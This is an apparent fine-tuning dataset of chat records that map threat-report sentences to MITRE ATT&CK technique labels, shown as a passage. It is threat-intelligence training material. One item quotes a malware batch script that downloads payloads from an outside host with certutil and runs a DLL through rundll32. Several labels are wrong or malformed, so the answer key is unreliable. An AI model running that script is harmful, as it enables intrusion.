        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SDBbot has the ability to download a DLL from C2 to a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Remsec has a plugin to detect active drivers of some security products."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "UNC2452 named tasks \"\\Microsoft\\Windows\\SoftwareProtectionPlatform\\EventCacheManager\" in order to appear legitimate."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "XCSSET has used `mdfind` to enumerate a list of apps known to grant screen sharing permissions."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "downloads and executes additional malware from either a Web address or a Microsoft OneDrive account."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This cabinet file is then extracted to the previously identified file path. Again, a shortcut file is written to the %TEMP% path with a name of ‘~Update.lnk’, which is in turn copied to the identified startup path with a filename of ‘Windows help.lnk’. This shortcut file calls the built-in ‘control.exe’ utility to in turn load the previously dropped malicious CPL file of ‘winhelp.cpl’. Finally, the malware calls the ‘winhelp.cpl’ file in a new process via the following command"
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The encryption/decryption routine (refer to Figure 5) can be summarized as follows:      Figure 5: Encryption/ Decryption Function  Generate an array of integers from 0x00 to 0xff Scrambles the state of the table using the given key Encrypts or decrypts a string using the scrambled table from (b)"
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CharmPower can enumerate drives and list the contents of the C: drive on a victim's computer."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "executes systeminfo after initial communication is made to the remote server."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Manage the use of privileged accounts. Configure access controls, including file, directory, and network share permissions with the principle of least privilege in mind. If a user only needs to read specific files, they should not have write access to those files, directories, or shares. Secure use of WMI by authorizing WMI users and setting permissions. Disable or limit remote WMI and file sharing. Block remote execution through PSEXEC. Segregate networks and functions. Harden network devices and secure access to infrastructure devices. Perform out-of-band network management. Disable SMBv1 and block all versions of SMB at the network boundary by blocking TCP port 445 with related protocols on UDP ports 137-138 and TCP port 139; this applies to all boundary devices"
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Aoqin Dragon has used the Themida packer to obfuscate malicious payloads."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Trojan.Karagany can take a desktop screenshot and save the file into \"\\ProgramData\\Mail\\MailAg\\shot.png\"."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used a tool that can obtain info about local and global group users, power users, and administrators."
            },
            {
                "role": "assistant",
                "content": "T1087 - Account Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The LNK file contains a list of commands that will be executed upon running, and a blob that is a base64 encoded compressed payload"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "REvil can save encryption parameters and system information to the Registry."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT41 created and modified startup files for persistence. APT41 added a registry key in \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost\" to establish persistence for Cobalt Strike."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In this particular instance, the following script is retrieved:@echo off  :if exist \"%PROGRAMFILES(x86)%\" (GOTO 64BITOS) ELSE (GOTO 32BITOS)  :32BITOS certutil -urlcache -split -f http://s8877.1apps[.]com/vip/setup.txt > nul certutil -decode -f setup.txt setup.cab > nul del /f /q setup.txt > nul GOTO ISEXIST  :64BITOS :certutil -urlcache -split -f http://s8877.1apps[.]com/vip/setup2.txt > nul :certutil -d^ecode -f setup2.txt setup.cab > nul :del /f /q setup2.txt > nul :GOTO ISEXIST  :ISEXIST  if exist \"setup.cab\" (GOTO EXECUTE) ELSE (GOTO EXIT)  :EXECUTE ver | findstr /i \"10\\.\" > nul IF %ERRORLEVEL% EQU 0 (GOTO WIN10) ELSE (GOTO OTHEROS)  :WIN10 expand %TEMP%\\setup.cab -F:* %CD% > nul :if exist \"%PROGRAMFILES(x86)%\" (rundll32 %TEMP%\\drv.dll EntryPoint) ELSE (rundll32 %TEMP%\\drv.dll EntryPoint) %TEMP%\\install.bat GOTO EXIT  :OTHEROS wusa %TEMP%\\setup.cab /quiet /extract:%TEMP% > nul %TEMP%\\install.bat GOTO EXIT  :EXIT del /f /q setup.cab > nul del /f /q %~dpnx0 > nulThis script simply checks the operating system of the victim and downloads the respective payload again using the certutil executable"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol', 'T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Grandoreiro can store its configuration in the Registry at \"HKCU\\Software\\\" under frequently changing names including \"%USERNAME%\" and \"ToolTech-RM\"."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PUNCHBUGGY can load a DLL using Rundll32."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 has used legitimate credentials to gain initial access, maintain access, and exfiltrate data from a victim network. The group has specifically used credentials stolen through a spearphishing email to login to the DCCC network. The group has also leveraged default manufacturer's passwords to gain initial access to corporate networks via IoT devices such as a VOIP phone, printer, and video decoder."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has the capability to access the webcam on the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FELIXROOT deletes the .LNK file from the startup directory as well as the dropper components."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TrickBot can obtain passwords stored in files from web browsers such as Chrome, Firefox, Internet Explorer, and Microsoft Edge, sometimes using esentutl."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "tries to add a scheduled task to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group used Ruler to configure a specially crafted Outlook Home Page URL to exploit the security bypass vulnerability CVE-2017-11774, which was fixed shortly after it was discovered. Successful exploitation automatically triggered remote code execution of a script when an Outlook client synced with a mailbox and rendered the profile Home Page URL. These scripts, usually VBScript followed by PowerShell, in turn initiated the delivery of various payloads"
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ursnif has used strings from legitimate system files and existing folders for its file, folder, and Registry entry names."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT32's backdoor possesses the capability to list files and directories on a machine."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lizar can run Mimikatz to harvest credentials."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "We found a mechanism for decrypting, executing, and downloading an additional payload from the C&C server."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dyre has the ability to create files in a TEMP folder to act as a database to store information."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RawDisk was used in Shamoon to write to protected system locations such as the MBR and disk partitions in an effort to destroy data."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used a DLL known as SeDll to decrypt and execute other JavaScript backdoors."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "At the second stage, the attackers remotely connected to the device and scanned the local network seeking to gain access to public shared folders, web servers, and any other open resources. The aim was to harvest information about the network, above all, servers and workstations used for making payments. At the same time, the attackers tried to brute-force or sniff login data for such machines. If the firewall blocked access from one segment of the network to another, but allowed a reverse connection, the attackers used a different payload to build tunnels"
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kobalos can spawn a new pseudo-terminal and execute arbitrary commands at the command prompt."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Bash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Honeybee, the threat actors uploaded stolen files to their C2 servers."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Users can protect themselves from such attacks by disabling Office macros in their settings and also by being more vigilant when enabling macros (especially when prompted) in documents, even if such documents are from seemingly trusted sources"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter', 'T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ferocious Kitten has used right-to-left override to reverse executables’ names to make them appear to have different file extensions, rather than their real ones."
            },
            {
                "role": "assistant",
                "content": "T1036.002 - Right-to-Left Override"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "So this method uses psexec itself to copy the payload over the network, overwrite earlier versions (if found), and run it without waiting for any response"
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PyDCrypt will remove all created artifacts such as dropped executables."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "typically use ping and  to enumerate systems."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kimsuky has added accounts to specific groups with \"net localgroup\"."
            },
            {
                "role": "assistant",
                "content": "T1098 - Account Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QakBot can use \"GetProcAddress\" to help delete malicious strings from memory."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT37 has created scheduled tasks to run malicious scripts on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses the Dropbox API to request two files, one of which is the same file as the one dropped by the malicious email attachment. This is most likely meant to be a mechanism to update the compromised host with a new version of the  malware."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lock PowerShell Execution Policy, must be set to “AllSigned” via GPO"
            },
            {
                "role": "assistant",
                "content": "T1546.013 - Event Triggered Execution: PowerShell Profile', 'T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SDBbot has the ability to get directory listings or drive information on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Wocao, the threat actors used `tasklist` to collect a list of running processes on an infected system."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses cmd.exe to execute commands for discovery."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Misdat is capable of running commands to obtain a list of files and directories, as well as enumerating logical drives."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Silent Librarian has used links in e-mails to direct victims to credential harvesting websites designed to appear like the targeted organization's login page."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "XCSSET adds malicious code to a host's Xcode projects by enumerating CocoaPods \"target_integrator.rb\" files under the \"/Library/Ruby/Gems\" folder or enumerates all \".xcodeproj\" folders under a given directory. XCSSET then downloads a script and Mach-O file into the Xcode project folder."
            },
            {
                "role": "assistant",
                "content": "T1195.001 - Compromise Software Dependencies and Development Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "If opened, the dropper runs a loader known as Trojan.Vcrodat on the computer. Whitefly has consistently used a technique known as search order hijacking to run Vcrodat. If no path is provided, Windows searches for the DLL in specific locations on the computer in a pre-defined order. Attackers can therefore give a malicious DLL the same name as a legitimate DLL but place it ahead of the legitimate version in the search order so that it will be loaded when Windows searches for it. Whitefly frequently delivers Vcrodat as a malicious DLL that has the same name as DLLs belonging to legitimate software from various security vendors. The group leverages search order hijacking to assure that its malicious DLLs will be executed. Targeting security applications could allow the attackers to gain higher privileges for the malware, since the vendor’s component may be run with elevated privileges"
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Donut can generate code modules that enable in-memory execution of VBScript, JScript, EXE, DLL, and dotNET payloads."
            },
            {
                "role": "assistant",
                "content": "T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious library completes malware installation. Specifically, it creates a registry value responsible for automatically running RMS at system startup. Notably, in most cases of this campaign the registry value is placed in the RunOnce key, instead of the Run key, enabling the malware to run automatically only the next time the system starts up. After that, the malware needs to create the registry value again."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "These credentials are used in a credential stuffing or password spraying attack against the victim’s remote services, such as webmail or other internet reachable mail services. After obtaining a valid account, they use this account to access the victim’s VPN, Citrix or another remote service that allows access to the network of the victim. Information regarding these remotes services is taken from the mailbox, cloud drive, or other cloud resources accessible by the compromised account. As soon as they have a foothold on a system (also known as patient zero or index case), they check the permissions of the account on that system, and attempt to obtain a list of accounts with administrator privileges. With this list of administrator-accounts, the adversary performs another password spraying attack until a valid admin account is compromised. From here on the adversary stops using the victim’s remote service to access the victim’s network, and starts using the Cobalt Strike beacon for remote access and command and control"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The first evidence of its intrusion dated from May 6, 2015 but activity appeared to have begun in earnest on May 12. The attackers appeared to be interested in one division of the ministry that is responsible for relations with the Asia-Pacific region. They attempted to extract all Word documents stored on a file server belonging to this division by bundling them into a RAR archive by running the following command"
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive', 'T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "may use net group \"domain admins\" /domain to display accounts in the \"domain admins\" permissions group and net localgroup \"administrators\" to list local system administrator group membership."
            },
            {
                "role": "assistant",
                "content": "T1087 - Account Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 used UPX to pack files."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Figure 14: System shut down upon discovery of security tools  Ability to receive PowerShell script from the C2 server and execute on the machine"
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Honeybee drops a Word file containing a Base64-encoded file in it that is read, decoded, and dropped to the disk by the macro."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The “VPN Client” is a legitimate Juniper VPN software bundled with Helminth,  a malware in use by the OilRig threat agnet: JuniperSetupClientInstaller.exe 6a65d762fb548d2dc56cfde4842a4d3c (VirusTotal link) If the victim downloads and installs the file, their computer would get infected, while the legitimate VPN software is installed"
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The tool was primarily used by the attackers to move laterally on the victim’s network. PowerShell: Microsoft scripting tool that was used to run commands to download payloads, traverse compromised networks, and carry out reconnaissance. WinSCP: Open source FTP client used to exfiltrate data from targeted organizations"
            },
            {
                "role": "assistant",
                "content": "T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "POWERSOURCE achieves persistence by setting a Registry Run key, with the path depending on whether the victim account has user or administrator access."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Metamorfo has hidden its GUI using the ShowWindow() WINAPI call."
            },
            {
                "role": "assistant",
                "content": "T1564.003 - Hide Artifacts: Hidden Window"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BlackMould has the ability to find files on the targeted system."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Turla has used various JavaScript-based backdoors."
            },
            {
                "role": "assistant",
                "content": "T1059.007 - Command and Scripting Interpreter: JavaScript"
            }
        ]
    },
    {
